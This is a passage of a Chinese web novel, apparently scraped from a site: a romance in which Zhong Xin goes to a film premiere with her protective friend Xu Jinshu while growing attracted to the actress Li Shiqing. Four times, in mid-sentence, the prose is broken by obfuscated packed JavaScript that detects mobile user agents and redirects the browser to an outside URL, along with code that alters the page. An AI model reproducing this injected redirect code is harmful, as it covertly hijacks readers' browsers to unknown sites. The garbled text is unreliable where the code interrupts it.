“要说限制的话，没有什么限制啦。”考虑到徐锦书是个位高权重的成熟总裁，钟心选择了更为温和的说法，“我觉得喜欢一个人，还是要看灵魂的契合程度。” “嗯……”徐锦书的回应，难得的拖着一点尾音。 她移开了注视着钟心的目光，视线偏向一旁，似乎在思索。 几秒钟后，她道：“这是个很开阔的想法，很好。” 眉头有轻轻的抬动，五官舒展，唇角似乎还带上了一点笑意。 之前的紧张和压力骤然松解，钟心知道自己交上了一份满意的答卷。 心情轻飘飘地上扬，就像工作上被跨越级别的上司肯定了一样。 “嘿嘿。”钟心傻笑两声。 徐锦书随着她勾起唇角：“有想法了就大胆地去尝试，不要被一些墨守成规的条款束缚了手脚。” 钟心是有些想法。 就是从刚才那一刻有的一点想法。 可她还是很理智的，她知道自己方才对李施情的回想或许只是一些感官上的刺激。 她需要好好睡一觉，然后在身心平稳的时候，再仔细地去思考，去感受。 关于喜欢，关于爱，如何来，因何来，往哪去。 真是一个复杂又庄重的问题。 “我会努力的。”钟心看向徐锦书，“勇敢地跟随自己的心。” “嗯。” 徐锦书应得很温柔，她俯身，掌心落在钟心的脑袋上，轻轻揉了揉。 这一晚，十分难得的，徐锦书真留在了钟心的小出租屋里。 在钟心还清醒的时候，她被徐锦书照顾着洗漱。在钟心有些困了的时候，徐锦书坐在床边，陪她聊天。 徐锦书的声音，低沉温柔，有一丝金属的华丽质感。她平稳的语调，像大提琴一般，嗡嗡响在钟心的耳畔，变成了上好的安眠曲。 钟心被哄得很快沉入了梦乡。 意识模糊时，她记得自己好像拍了拍身侧的床，让徐锦书赶紧上来。 第二天，是闹钟先响的。 钟心揉着眼睛从床上下来，看到的是在她的小餐桌前等她吃饭的徐锦书。 她身上的衣服换了一套，依然是极佳的剪裁和质感，衬得整个人干练利落，极有气场。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453995|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >桌上的早餐丰富，徐锦书手旁放着台电脑，耳朵里戴着耳机。抬眼望向钟心时，嘴上还应了句电话里的声音。 像是电视剧里明亮的业界精英场景。 钟心赶忙放轻了脚步，不用多问，她就知道徐大总裁忙碌的工作早已经开始了，或许她的司机和助理已经往返她家楼下两趟了，或许她现在正在开着上亿项目的跨国会议。 钟心不打扰，指指卫生间，自己蹑手蹑脚的进去了。 再出来的时候，徐总裁的工作告一段落，电脑和耳机都没有了。专注地陪她吃饭。 钟心搅着香喷喷的粥，想到昨晚自己那个样子，很是不好意思：“老徐，我这一跟你玩，就影响你两天。” “嗯？”徐锦书的姿态和表情都很轻松，“还要我在你家住一天半吗？” 钟心：“啊？” 徐锦书：“现在我们见面了大约12小时，要影响我两天，还有36小时。” 钟心：“啊。” 钟心笑得粥都吃不下去了：“哈哈哈哈哈徐总你太严谨了，徐总的两天是按分钟算的！” 徐锦书勾勾唇角：“吃完了送你上班。” 钟心的屁股在凳子上来回拧：“真的不耽搁你吗？” “不。我愿意安排的就是我的日程。”徐锦书夹了一只钟心喜欢的小包子，放进她的碗碟里，“你有什么想玩的想去的地方，随时找我。” 真客气呀。钟心想。 她的闺蜜对她好好哦。钟心想。 许多事情她也的确非常想让自己的好朋友陪着，特别是在她对自己的感情发掘探索的阶段。 那么多的情绪和感受，想要讨论，想要分享。哪怕徐锦书是一个不爱聊天的人，但她只要存在在那里，就会让钟心心安。 拿起手机，刷着新消息。 和李施情的聊天页面里，有一长串的语音、文字和表情包。 刚刚结束的聚会让李施情意犹未尽，马上又紧接着开始的工作日程让李施情烦躁生气。她向钟心无比亲密地诉说着自己的生活和心情，毫无限制，坦诚直白。 这让钟心觉得自己很重要。 自己的存在对于李施情很重要。 笑容爬上了钟心的脸颊。 徐锦书抬眼问她：“在开心什么？” “什么都很开心。”钟心的眼睛弯成月牙，乐呵呵地问到，“徐总最近不怎么忙的话，可以陪我去看电影吗？” 看电影…… 徐锦书握着餐勺的手顿了顿，她垂眼，道：“都有谁？” 钟心：“就我们俩，点映的票还挺贵的，我可只舍得出你的~” 眼睫动了动，徐锦书的唇角勾起，一点清浅又舒适的笑意。 她手里的勺子碰到碗壁，“叮”的一声脆响。 “那这算是，约会吗？” 再抬眼时，徐锦书笑着道。 8. 第 8 章 当然算是约会。 对朋友的每一场邀约，钟心都十分重视。 她并不觉得只有爱情可以享受精心准备，友情，亲情，甚至同窗同事，每一丝真诚的情谊都值得珍惜。 所以当徐锦书对她说有什么想玩的找我，当徐锦书答应陪她去看电影时，钟心毫不犹豫地回答她：是的！这当然是一场约会！ 上一场三个人的约会刚刚结束，下一场两个人的电影又即将到来。这会是钟心最近的生活里最大的乐趣。 为此，她又开始早早准备。 比如，确定一个绝对的休息日，不再让上次的意外加班事件发生。比如，抢到位置最好的并且带周边活动的票。比如，规划自己那天的穿搭，提前查询周边的餐厅。甚至爆米花哪里买的最好吃，都在她的考虑范围内。 有了这样重要的私事，工作上吃的苦好像都可以有效消解了。 不过好像自从徐锦书上次来接了她一次，钟心的工作都变得轻松了起来。 上司没有再突如其来的要求她加班，应酬的酒局也再没有去过，就连最新一次的策划比对会，她的方案都受到了跨级总监的赞扬。 【到底还是沾了徐总的光啊！】 钟心想着，摸过手机就偷偷地给徐锦书发消息。 【他们肯定在怀疑我是不是你什么亲戚。】 【我要是你的亲戚，那我不就是大小姐下乡来体验生活了。】 徐锦书： 【我可什么都没有做。】 【他们终于发现了你的优秀。】 钟心： 【哈哈哈哈哈哈哈哈，咱这就王婆卖瓜，自卖自夸了啊。】 【不过我那个方案，你都说了行，那被我们总监夸也很正常。】 徐锦书：【当然。】 钟心：【感觉你这周不怎么忙诶，回消息的速度快了好多。今天这个点也是秒回，你们这些上层，下午不都在开大会吗？】 徐锦书：【不忙。】 钟心：【嘿嘿嘿，不忙就好。不忙的话，我们看电影的时间肯定就没问题了。】 徐锦书：【周天下午5点之后，都是你的时间。】 钟心乐得满脸笑容： 【那也没必要那么早啦，电影7:30才开始~】 【但是我们去的早的话，可以先吃饭。那个商场还有一个超大的潮玩店，你有兴趣的话我们就一起逛逛。】 …… 和徐锦书沟通完约会的计划和安排，钟心手拄着脑袋浏览电脑屏幕上的业界优秀案例。 网页刷新，一批新的视频跳出来，当头的视频封面就是李施情绝美的脸。 她上个月新接的彩妆代言，这个月广告商就已经迫不及待地开始了全面推广。 钟心眼睛一亮，立刻带上了耳机，点开视频开始欣赏。 拍的非常不错，凝聚在彩妆产品上的特写，完全地展示了李施情完美的五官。 顾盼生辉的双目，微微开合的唇瓣，只需要一点神情动态上的变化，就足够让人着迷。 短短的三段式广告，却让钟心目不暇接。 她将这广告片来回重复播放了好几遍，又开始去看一些别的拍摄花絮和平面照片。 有同事从她的身后经过，注目几秒，小声问道：“钟心，你喜欢李施情啊？” 钟心身体一抖，吓得差点从椅子上跳起来。她转头看向身后的同事，眼睛瞪得溜圆：“你说……什么呢……” “李施情啊。”同事朝电脑屏幕抬抬下巴，“刚才过去的时候你就在看，现在还在看。你肯定很喜欢她吧？你是她的粉丝吧？” 直到粉丝两个字出现，钟心飘到高空的心，才落了下来。 “啊……长得漂亮演技好为人还低调，大家都挺喜欢她的吧。”钟心眼神晃动，“我研究她这个广告呢，拍的挺有意思的。感觉我们那个vc糖果的case可以借鉴一下。” “确实，我挺喜欢她的。她是目前几个新晋小花里最有实绩的一个。”同事想了想道，“我算是她的路人粉吧……” 随便聊了几句，同事离开了。 钟心抬眼看看四周，确定没人再注意自己了，这才重新拿起手机。 这次摸鱼的消息发给李施情： 【情情情情，新广告好美好美好美！！！】 【我上班的时候偷看，被同事抓到了。】 【但是我同事也很喜欢你诶！她说你演戏超有灵气的！】 今天的李施情大概也不太忙，回复的也很快。 【心心心心，我刚想给你发消息你就给我发过来了，真的超级心有灵犀诶！】 【正大光明看！要是你们老板有意见，你就说在找合作的艺人。】 【你们老板肯定不信啊，说，你还有这本事。】 【然后我就突然出现在你们公司，一口一个钟老师你好，钟老师很荣幸能和你合作。】 【吓死他们哈哈哈哈哈哈哈】 钟心被她几句话逗得一直笑：【这是什么爽文套路，情姐，少看点短剧吧。】 李施情： 【能让你爽到就行。】 【还有，别人夸我演技好的时候。你得在心里想，那是你眼光好。】 【我可是你从高中开始就挖掘出来的大明星。】 【寄给你的包收到了吗？喜欢的就拿来背，不喜欢的就拿去卖。】 【刚才看了广告有喜欢的品吗？我觉得他们家唇釉不错，给你寄一套吧……】 钟心收李施情的东西真是收到手软。 刚出道的那个时候还好，现在混出头了，钟心用得上的用不上的，只要李施情想起来，就给她寄。 最开始钟心还很是不好意思，直到后来李施情说，她带不走的很多东西，都是被各路助理瓜分掉了。 “能分给外人，当然更能分给自己人。” 这句话，是李施情之前当着钟心的面说的。语调的起伏并不大，神态却很是认真。 钟心清晰地记得，听到“自己人”这三个字时，李施情那双无比漂亮的眼睛里倒映出来的自己的脸。 此刻，钟心看着手机里一行行跳出来的对话，神思恍惚。她能从这些文字里想象李施情说这些话时的表情，五官生动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453996|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，笑容灿烂。 她会在她的面前，忽而靠近，忽而又远离。 像一片随风摇摆的花枝，留下沁人的香味。 钟心的心跳空了一拍。 自打那天晚上和徐锦书讨论过恋爱的性别取向以后，她就好像，对李施情有了些……无法言说的想法。 就像现在，她会回忆过往，会产生幻想。会一低头，眼睛凝聚在一些字词上，让玩笑话都变得奇怪起来。 【能让你爽到就行。】 求求了，女明星还是不要随便说这种话了。 时间在快乐的交谈和偶尔的心跳错拍中溜走。 周天，钟心睡了一个直到晌午的懒觉。起床睁眼刚给今天的约会对象徐锦书发了条消息，没一会就有人敲门，送来了丰盛的外卖。 徐锦书：【午饭不能陪你，将就着吃点。】 钟心坐在餐桌前盘着腿大吃特吃，发自己嘴巴塞的鼓囊囊的照片给投喂员：【您看看，这哪里是将就呀！】 明亮的大会议室里，坐在长桌最高位置的一丝不苟的总裁，拿起手机，忽而笑了起来。 正在发言的分公司经理愣住，所有人的目光齐刷刷地望过去，只来得及看到一点那笑容的余韵。 徐锦书放下手机，抬眼看那经理，平静的语调，挂霜的眼神：“停下来做什么？这数据水的你自己都念不下去了吗？” 平地惊雷，鸦雀无声。 没人再敢对总裁意外的神情有一丝多余的注意，汗涔涔的，全都屏气凝神地操心着自己的业绩和报告。 下午五点，徐锦书准时抵达了钟心的出租屋楼下。 钟心早就下楼来等她，她今天打扮得格外鲜亮，花色的条纹毛衣，深棕的毛呢短裙，腿上挂着毛衣同料的堆堆袜套，小皮鞋擦得锃光发亮。 挎着包包朝徐锦书跑过来，包包上叮呤当啷的，又是徽章又是毛绒娃娃。 像刚出炉的热情的小蛋糕。 徐锦书唇角挂上了笑容，抬手去帮她拿包：“穿这样晚上会有点冷。” 钟心朝着包包努嘴：“外套在里面呢，我唠叨的总裁大人。” 被人说唠叨，却还是有些想笑。 徐锦书抬手轻揉了一下那个脑袋，打开车门，先让人上车。 钟心的副驾驶不白坐，背书一般当指挥：“出了大门右转，到体育场十字再南下，我们避开拥挤路段……” 徐锦书完全听从她的指挥。 有了钟心叽叽喳喳地在耳边，她导航不开，音乐也不开。 今天是个凉爽的好日子，副驾驶的车窗降下来一半，秋风拂过泛黄的落叶梧桐，钻进车里，掀起小蛋糕的发丝。 徐锦书忍不住偏头看。 毛绒绒的，暖乎乎的，脸蛋像是泛红的水蜜桃，等待着被人一口咬下去。 风到了她的鼻息里，是甜的。 徐锦书今天的心情非常好。 直到，她们到达了电影院，看到了摆放在最显眼位置的巨幅海报。 李施情的脸，像艳丽的花，在颓靡的色彩里绽放着。一双勾人魂魄的眼睛，紧盯着镜头之外。 9. 第 9 章 热闹的商场大厅里，钟心抓过了徐锦书手里拿着的自己的包，“噔噔噔”地朝着海报冲去。 “啊啊啊啊啊啊好大一个啊！！！啊啊啊啊好美啊！ “情情情情情情伟大的情情，完美的情情，神一样的美貌！超绝惊叹的表现力！ “呜呜呜呜呜这个海报我在网上就看过，但是三次元还是太冲击了呜呜呜呜呜，妈妈，她的眼睛里有盛开的花！” 这么胡乱地喊着的时候，惊动了一旁的粉丝，两个学生模样的小姑娘冲过来，眼睛亮晶晶地问：“小姐姐，你也是情丝吗？” “情丝”是李施情的粉丝名，一般人不会知道这个称呼，现在，它就像一个接头暗号一样，可以一瞬间确定组织，发出欢呼。 “我是啊！”钟心的眼睛也闪亮起来，她举起手里的包包，“这是情情痛包呢！” “啊啊啊你有限定版mini棉花娃！还有这个剧集吧唧！” 钟心骄傲：“对呢对呢，这个也是……” 就这样折腾起背包上那几个叮叮当当的小玩意起来，好像有说不完的令人兴奋的共同话题，有喊不完的刻意压制也毫无作用的尖叫。 徐锦书看着这样的场景，站在原地没有动。 李施情巨大的海报和她对视，眼睛里仿佛有那天晚上聚会时带着逗弄和调笑的笑意。 海报下的钟心身体小小的，她的打扮和那些粉丝混杂在一起，和谐，融入，一片年轻的彩色的海。 徐锦书垂在身侧的指尖动了动，而后，收进了风衣的衣兜里。 她很有耐心，只是看着，不去截断，不去打扰。 钟心和同担交流完，终于想起了一旁的徐锦书。 她快速挥手拜拜，跑回了徐锦书身边。 “她们也是来看情情电影的！在最前排！”仰着脑袋，钟心望着自己的好闺蜜，又凑近了她，得意洋洋地撞了撞她的胳膊肘，“没有我们的位置好，我可是第一时间开了三台软件抢的！” “辛苦了。”徐锦书的眼睛微微弯着，平和而温柔的样子，“你很厉害。” “谢谢徐总夸奖！”钟心立刻开心的笑起来，“别的我不敢打包票，抢票我可是第一能手，徐总以后有什么想看的演出就告诉我，说不定我比你的高级助理还会抢呢！” “嗯，一定。”徐锦书扫了眼电影院的入口，“你要参加的那个活动，什么时候？” 钟心：“那个看完电影以后，就在这里，有凭票根的抽奖，还有影评集赞……奖品有电影手册呢，听说里面的照片很美质感很好。情情这次拍的这部文艺片，不为了票房，就为了口碑，点映结束以后也不会全面上映，因为后面要出国冲奖呢……” 说起关于李施情的这些信息，钟心像一个大粉头子一样如数家珍。 徐锦书让她把想说的都说了，这才开口道：“做演员还挺好的。” 一个陈述句，钟心有点搞不清楚她指的是哪方面：“诶？” 徐锦书抬眼看那海报：“随时随地都有可能看到。” “是诶！！！打开电视可以看，电影院也可以看，躺床上刷手机也能看到很多的物料！”钟心合十双手，“好幸福~~~” 徐锦书眉头轻轻一蹙，转眼望着她：“但做演员也有很不好的地方。” 钟心：“诶？” 徐锦书：“比如，不能随时随地出现。” 说这句话的时候，她那双黑沉沉凌厉的眼，紧盯着钟心。 强大的气场下，钟心像被施了咒一样，所有的注意力只能随着徐锦书的话语走。 “出现在你身边。” 徐锦书加深了释义，并在这时，抬起手握住了钟心的手腕。 只有现实的人类才能带来的温热触感和紧密的力道，一刹那包裹了跳动的脉搏。 咚咚，咚咚。 钟心的神思恍惚，逻辑还没来得及整理，身体的动作倒是反应的很迅速。 她反手牵住了徐锦书，握着她的掌心摇摆着晃了晃：“是呀是呀，成名有利有弊。” “嗯。”徐锦书加深了相扣的手，“饿了吧？先吃饭？” 钟心开心点头：“嗯！！！” 和徐锦书单独的约会，是很轻松快乐的。 哪怕所有的计划都是钟心做的，但在实施的时候，总在细枝末节处照顾人的，是徐锦书。 她大了她这三岁，便总是宠着她，包容她。倾听她所有幼稚的故事和想法，在她有问题有麻烦的时候，给她引导，做她的后盾。 虽然嘴上总是徐总老徐的叫着，但钟心的心里，喊了她无数声姐姐。 徐锦书，就是每个女孩幻想的，最完美的那种姐姐。 吃完饭休息了会，便到了电影开场的时间。 钟心牵着徐锦书的手走进电影院，李施情的粉丝遍地都是。 她们三三两两，和钟心同一个方向，向前走或者围绕着她。 几乎在每一个人经过时，都会忽然抬眼看向徐锦书。一瞬间，又立马收回目光，加急脚步。 钟心注意到了这一点，她转头看徐锦书。徐锦书穿着完美的衬衫、西装裤和风衣，她的发丝整齐利落，一丝不苟。浑身上下的装饰，只有一副耳环和一只手表。 简约，但十分高端大气。 的确和现在这个环境里所有的人，都不一样。 她好像不该出现在这里，她好像只有坐在会议室里，办公桌前，才是最正确、最有价值的状态。 钟心攥紧了掌心中的手指，她带着徐锦书去玩儿，她觉得自己有这样的义务。 但在影厅落座时，钟心还是忍不住偏头道：“锦书，谢谢你。” 影厅里的灯刹那间熄灭了，钟心看不见徐锦书的表情，只听到她低沉好听的声音，就在近处，温柔地问她：“为什么感谢？” “谢谢你陪我。”钟心松开了徐锦书的手指，抱上了爆米花桶。 屏幕闪动，没有广告，电影就这么开始了。 龙标的绿光照在钟心的脸上，灿灿一层。 钟心望着前方，开始专心看电影。 徐锦书侧着的视线，好一会儿才收回。 李施情的这部电影，名叫《夜航船》，故事背景发生在动荡不安的民国时期。两位身份地位相差悬殊的年轻女性，被困在了同一艘延误的夜行船之上。 船外海浪深深，大雾弥漫。船内潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453997|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿阴渍，唯有一盏油灯和灯下的书页温暖泛黄。 以李施情之前的荧幕形象，钟心以为她饰演的角色会是那个留洋归来纯真而坚韧的大小姐。 没想到这次，完全颠覆。李施情是那个身世凄惨，不由自己，在军阀高层中混沌度日的歌姬。 她有缠绕如丝的媚眼，有柳枝轻摆的身段。她对那灯下苦读的栀子花一样洁白的女孩有了兴趣，便使出浑身解数去欺骗，去勾/引。 船身晃动的深夜，大小姐洁白的帷幔落下，为两人圈出狭小而私密的空间。 歌姬俯身靠近，咿咿呀呀唱着，镜头晃动之间，便坐进了大小姐的怀里。 钟心的心跳不断加速，擂鼓一般。 她的脑袋里止不住地叫嚣着：这场景我知道，这动作我知道，这样会有什么样的感觉我也知道。 李施情在她身上演过，不着戏袍，意蕴犹存。 手指收紧，脸颊发烫。 钟心的呼吸都是热的，轻轻地吐，急促地进。 画面还在晃，切海浪，切船身的地板，再切回两位女主，掌心抚摸着脸颊，嫣红的唇凑在了一起。 喘息，气雾和舌尖。 钟心的心跳彻底爆开，胸口发虚，小腹发紧。 大家都知道接下来会发生什么，在大众环境下观看这样的亲密片段，影厅里一时间鸦雀无声。 钟心所有的动作都停了，指尖捏着一颗甜腻的爆米花，呆愣愣地盯着巨大的荧幕。 超清的荧幕分毫毕现，比眼睛还要更加精准地记录着李施情惑人的美丽。 唇瓣终于贴近的那一瞬，一片橙色的红光罩在了钟心的眼睛之上。 啊…… 轻轻地，钟心发出一声吐气。 她看不到电影画面了，因为徐锦书遮住了她的眼。 所有故事的变动只留下了模糊的光影，在那细长的指缝之间隐隐跳动。 喘出口的热气，或许正擦着徐锦书掌侧的皮肤。 激烈的心跳，或许顺着血脉传达到了徐锦书的指尖。 羞耻心和安全感同时迸发。 就像小时候和家长看电视，不合适的桥段总会被遮住眼。 在徐锦书的心里，她还是一个不能看成年片段的小孩。可电影荧幕里正在放映的激情画面，出演者正是和钟心同龄的李施情啊。 时空和身份的倒错交织，让钟心脸颊的热度更上一层楼。 即使被捂住了眼睛，却还是有3d立体环绕的音效。脑内想象或许比真实的画面更夸张，有捂着她眼睛的徐锦书在身侧，或许比独自一人来看，感受更刺激。 钟心深深吸入一口气，不敢呼出。 身侧有轻微的衣服摩擦声，徐锦书靠近了她，带着属于另一个人的热源，贴近了她的耳侧。 这话可以不用说的，钟心完全能够理解。 可徐锦书就是这么体贴，非要和她在此时此刻实时交流。 “过了不该看的，就放开你。” 极近的嗓音盖过了电影的音效，缠绕的气息，钻进了钟心的耳朵。 “唔……” 钟心咬紧了下唇，才让自己没发出奇怪的声音。 10. 第 10 章 徐锦书说到做到。 过了不该看的就放开。 电影里最缠绵悱恻的那些片段，钟心一眼都没能多看。 可这并没有减轻她为这电影、这环境、为她脑袋里的想象和身边朋友的举动，而产生的奇怪的，难以言喻的身体反应和心理感受。 她整个人都很不对劲，明明穿的已经够凉爽了，可是手脚和胸口都在隐隐发热，脸颊的温度更是根本就没下去过。 电影里是航行的风景，她脸红。 电影里两位女主非常正经的谈话，她脸红。 抬手去抓爆米花，不小心碰到了徐锦书的手指，她脸红。 光影晃动之间，钟心不敢再去认真观看大荧幕里李施情的脸。 她也不敢偏头去和身侧的徐锦书说话，她怕对视上徐锦书那双仿佛可以洞察一切真相的锐利的眼睛。 电影后半段的剧情到底讲了什么，钟心的脑袋瓜里一片混沌。 但是她可以确定的是，李施情演的很好。 她再一次在自己的专业上有了显而易见的质的飞跃，她将声形体表运用到了极致。她可以吸引所有观众的注意力，让大家轻而易举地就爱上她演的角色。 电影结束时，前排有人站起来鼓掌。 钟心认出来是之前碰到过的李施情的粉丝，她立马也举起了手。 掌声起初零零散散，很快就连成了一片。钟心脸蛋红红地去看别的观众的神情，发现也有很多人跟她一样，有些羞涩和拘谨。 钟心呼出一口气，心想，或许这就是艺术作品的魅力吧。 她终于调整好了自己的状态，转头去看徐锦书。 啊……徐锦书或许并不是文艺电影的受众。 她此刻的神情和她进电影院之前，并无任何不同。简单来说，就是没有什么特别的表情。 没表情的时候，便显得冷厉。立体度极高的脸在明暗交杂的光线里，有种生人勿进的严肃氛围。 钟心把自己那些异样的感受，和即将脱口而出的欢呼都压了回去。 她清了清嗓子，让自己尽量露出一个正常的笑容：“情儿偷偷告诉过我，这部电影没彩蛋，我们可以出去啦。” 徐锦书回望她，勾了勾唇角：“好。” 人流拥在了狭窄的出口，徐锦书个子高，又是一张极冷淡的脸，仿佛独立于这个世界之外。 钟心抬头望着她，借着有人挤过来的劲，偏了偏身子，挨着了徐锦书的衣袖。 睫毛眨了眨，抬手抓住。 这一点细微的动作，并不会被徐锦书忽略。 她的视线很快落过来，目标明确地集中在钟心攥着她衣袖的指节上。 “让我挽一下啦。”钟心像只跟随小狗一样恳求道，“人多。” 徐锦书的视线上移，凝聚在她的脸上，嘴唇没动，只从喉间发出一个沉闷的音节：“嗯。” 钟心扬起笑脸，赶紧又把自己往徐锦书跟前靠了靠，大大方方地挽住了她整个胳膊。 两人在人流中凝结成为一体，即使徐锦书再怎样处于世界之外，也得挂上一个甩不掉的小尾巴。 出了电影院，钟心的手还没松。 周围没有什么人了，她要和徐锦书好好聊一聊。 “你刚才捂我眼睛的时候像我家长！”钟心噘着嘴，“我是成年人了，别人都能看，为什么我不能看？” 徐锦书的目光落过来，轻松扔出一句：“因为你害怕。” “啊？”这答案完全在钟心的意料之外。 “你害怕。”徐锦书有理有据，“背僵了，身体直了，手不动了，体温上升，眼神呆滞。” 钟心：“啊……” 当时太混乱了，她根本不知道自己在别人眼中会是这个样子。 “不是不让你看，不能接受的东西就缓看，慢看，一点点看。”徐锦书的目光正直而温柔，有谆谆教诲的意味，“就像以前我们看恐怖片，我不捂你的眼睛，你也要把你的眼睛凑到我的手心里来。” “啊……”钟心彻底理解她的意思了。 并且脑袋内十分有画面地回忆起了小时候和徐锦书躲在屋子里看恐怖片的场景。 两人围着一台小小的笔记本电脑，钟心最开始故作坚强，还拍着胸脯说要保护锦书姐姐。 结果很快就被吓得脸色惨白，直往人家身后躲。 那时的徐锦书，也的确和现在一样。 关心她的状态，在她需要的时候一定会来保护她。 轰隆隆的恐怖音效里，她将钟心整个拉进怀里，踏踏实实地用身体圈住她，她的掌心贴着她的脸颊，在危险即将来临的时候，捂住钟心的眼睛，给她一道安全的屏障。 这样的回忆让钟心心里升起一阵强烈的怀念和愧疚。 她把徐锦书的胳膊抓得更紧了，觉得自己刚才的质问真是大错特错倒反天罡：“呜……对不起锦书，谢谢你锦书……” “嗯。”徐锦书全都坦然应下。 钟心蹙着眉头，眼神诚恳：“我是真的很感谢你，我知道你肯定对看电影很没有兴趣。但施情的片子点映，我很想有认识的朋友一起看……” “你是唯一的选择。”钟心望着徐锦书的眼睛，“也是最好的选择。” “我有什么心里话都可以和你说，你不会在意别人的身份地位和关系，你就事论事，我和你聊天是最坦诚和舒适的。” 徐锦书的眉梢轻轻扬起，方才在人群里时的冷厉孤傲，水一样化开。 钟心：“你还比我厉害很多。有时候我碰到新的状况大脑宕机，你会教我怎么做。你会帮我开拓出一条新的思维道路，简直就是我的指路明灯！” 徐锦书：“我也不是任何时候都公平公正的。” “诶？”钟心眨巴着眼睛。 “我也分亲疏远近。”徐锦书俯身，又用那种极近的距离，专注地盯着钟心，“只是我近处的东西太少了。其他所有的一切，都是身外之物。” 钟心的心脏紧跳了两下。 这样的对话，总是会让人好奇，那我呢？我距离你有多远？我是不是你近处的那个东西？ 可要真这么想了，又觉得自己太过自恋。徐锦书的世界很宽广，徐锦书每天都过手着上亿的流水，徐锦书的生活里，最重要的，肯定不是和朋友一起出门玩。 能成为她娱乐放松的一部分，也很好了。 能跟这样的人接触到，并且成为好朋友，已经是钟心的幸运了。 手掌下滑，钟心攥住了徐锦书的手腕，晃了晃。 她傻呵呵地笑笑，对徐锦书道：“那希望你的亲和近越来越多，希望你在事业成功发大财的基础上，还可以幸福快乐。” “好。”徐锦书眉目舒展。 钟心歪脑袋：“那我可以和你讨论一下身外之物的这部电影吗？我有好多感触呀……” “可以。”徐锦书握住了她的掌心：“潮玩店还去逛吗？” 钟心：“逛！” 徐锦书： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453998|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “边逛边聊。” 钟心：“好好好！” 这可真是太好了，这就是钟心最喜欢的相处模式。 逛一些没有什么目的的街，聊一些没有什么目的的天。放下所有的压力和负担，享受生活和友情带来的快乐。 这次的约会，钟心很满意，很开心。 她安排的所有的活动项目，徐锦书都和她一起参加了。她们手牵着手在商场里晃悠，就像小时候会手牵着手去城郊的田野里玩一样。 钟心脸上的笑容就没下来过，而徐锦书，也嘴角上扬了很多次。 约会结束时，徐锦书再一次将钟心送到了家门口。 她从车上下来，看着钟心往里走。 蹦蹦跳跳的步伐突然之间停住，钟心转身又奔了回来。 她张开双臂冲到了徐锦书面前，不容反应，不容拒绝地给了她一个大大的拥抱。 “我知道你会觉得这样很肉麻。”钟心的声音闷在徐锦书的风衣里，语调却高高地扬起，“但是对不起啦，就是想抱一下嘛~” 说完，自己也脸红了，拥抱也结束了。 一个转身噔噔噔地又跑了，直到要进楼门拐弯了，这才回身又和徐锦书挥手。 “拜拜~锦书~下次见！” 徐锦书在原地停留了很久。 直到属于钟心的楼层亮了灯。 她抬手，掌心贴在胸口向左处，那里，是钟心刚刚停留的地方。 这一晚的云层不厚，残月如钩，挂在空中，莹莹朦朦。 丰富的周末活动让钟心精力耗尽，洗漱过后，刷了会手机，便趴到了床上沉沉睡去。 梦里有一些电影的场景，晃动的深海，摇摆的船只。 看完电影，她想写一篇很有内涵却又不乏商业吸引的影评，怎么措辞呢？怎么去描述呢？大脑千回百转，在即将抓住灵感的时候，又飘忽忽的晃到别的地方去了。 钟心愁眉苦脸，趴在一张破旧的木桌上，攥着没有答案的试卷。 倏忽间，那试卷的纸页泛黄，字体也变成了竖排的毛笔。她握着笔杆，在一盏昏黄的灯光下，不知该如何落下。 有人握住了她的手，柔软纤长的指尖，只在顶端有一点鲜嫩的粉红。 光滑的皮肤，微凉的温度，让人生出水波荡漾一般的情绪。 钟心侧头，看到了极近的一张脸。一张做着民国打扮的绝美的脸，眼波流转，眼尾勾魂。 她这是穿到了电影里吗？ 这样的思绪还没来得及整理起来，靠近的身体就已经将一切打乱。 纤薄的背，细软的腰肢，蛇一样攀爬上来的手臂，旗袍侧摆的分叉开得高，露出白莹莹的腿。 “施情……”钟心想叫她的名字，想告诉她不要再离自己这么近了。 她对女孩子的身体有反应，无法控制的生理反应，就像心脏被挖了一块，就像有蚂蚁爬满了全身。 痒。 怀里的人不听她的话，四周的场景开始轮番变化。 刹那间在晃动的电影的船身上，刹那间又在极其现实而具体的会所包间里。 